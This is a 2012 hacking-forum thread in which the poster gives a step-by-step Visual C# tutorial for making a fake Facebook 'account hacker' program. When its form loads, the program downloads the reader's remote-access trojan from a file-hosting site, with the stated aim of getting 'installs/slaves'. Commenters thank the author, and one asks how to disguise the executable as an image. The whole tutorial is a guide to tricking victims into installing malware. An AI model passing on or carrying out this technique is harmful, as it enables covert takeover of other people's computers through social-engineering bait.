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tyguy - June 23, 2012, 2:29 pm

Binding Manually

What is binding realistically and manually?

Binding realistically is being creative in order to get installs/slaves. You must think, what do people want these days? If something worked, would they be suspicious about it? No! They wouldn't! So let me tell you how, this might seem like a really big line of text, but I assure you it's quite simple! All you have to do is be creative! I'll tell you how to make a fake program and bind it with a virus manually!

First of all, you need Visual C# (or in this case I will use Visual C#, you can use any language you want, but as said above, I will be using C#. If you want to follow me then use the same program) so let's get started!

You'll need:

Visual C# 2010 Express Edition

A brain

Quick typing to get this done fast!

Now, obviously you probably don't know how to get C# or you just aren't bothered enough to check. So here is a direct link: [Here!](#) So now, install that and get it done. I can't do it because I would need to reinstall and I would lose more than gain.

Now, go to start.

This is what it should look like!

Then, click 'Microsoft Visual C# 2010 Express'

Wait for it to load up, then click the small square at the top left or just click 'New Project' in the left middle.

It should look like this:

Click the Windows Forms Application and wait for it to load!

Now, click the big square in the middle left two times!

Form1.cs (or whatever your Form name is) should show up, and a bunch of gibberish will be displayed (gibberish if you haven't studied this) so now

click after the 'Using System.Windows.Forms;' at the top of the code. Next, add the namespaces 'using System.Net;' this adds another namespace so you don't have to type System.Net.Whatever. Programmers try to save namespaces or the file size will be bigger.

Now, go after the '{' that is after 'private void Form1_Load(object sender, EventArgs e)' and add 'WebClient client = new WebClient();'

This tells WebClient that there is a new WebClient called client, so basically it adds client which derives from WebClient.

Next, go to Fileinn.net and upload your RAT to there.

Then copy that direct link of the file you uploaded and go back to C# Express, then go to the same place you recently were in the code, and after the WebClient client, add 'client.DownloadFile("Your Direct Link", "Where you want the file to execute");'

It should now look like this:

Just edit it, this tells the application that when Form1 loads, this will be executed. And the executed code is downloading a file. Get it? I hope so.

So that's basically it for the code. So now the rest is up to you. I suggest you read some tutorials on strings, numerals, and more at the microsoft website. I'll just tell you how to use design. There is not really any point making this have an error message or you could have easily added that to your RAT and you wouldn't need to do anything. So let's make it realistic. Let's make a 'account hacker' Okay, so go back to Form1.cs [Design] at the top. Go to google and get an image of what you're going to make a fake account hacker about, in this I will do Facebook. So if you want to follow me, go to google and get a picture of the facebook logo, save it to your desktop then add it into the WindowsApplication as a PictureBox. Go to the toolbar on the left -> Then scroll down until you get PictureBox.

Drag that into the Form. Once you drag that, click it, and go to properties and click 'Image' then tick 'Local Resource' then click 'Import' and find your image. Once you do that open the image and it should appear. Now size it correctly so it looks right. Then add your fake GUI like mine, or however you want it to look like (without the watermark of who you are, obviously)

Hope you liked! Goodluck out there! Any questions, don't hesitate.

uglykidjoes - June 23, 2012, 2:40 pm

Very nice tutorial there was a pleasure to read

tyguy - June 23, 2012, 2:44 pm

Thanks, uglykidjoes! I'm glad you took your time to read it! I hope it helps you.

Sish!~ - June 23, 2012, 2:48 pm

Very nice tutorial dude thank you very much for this

tyguy - June 23, 2012, 3:07 pm

No problem, Stephen! I hope you enjoyed it and I hope it helped!

toome - October 31, 2014, 3:49 pm

Have I in right way- newer mind I bind manually or use I binder and icon changer the final result is always same victim sees my jpg or whatever file but file type is still .exe it's not .jpg?

umberto94 - November 1, 2014, 12:12 pm

Nice tutorial, thank you very much :)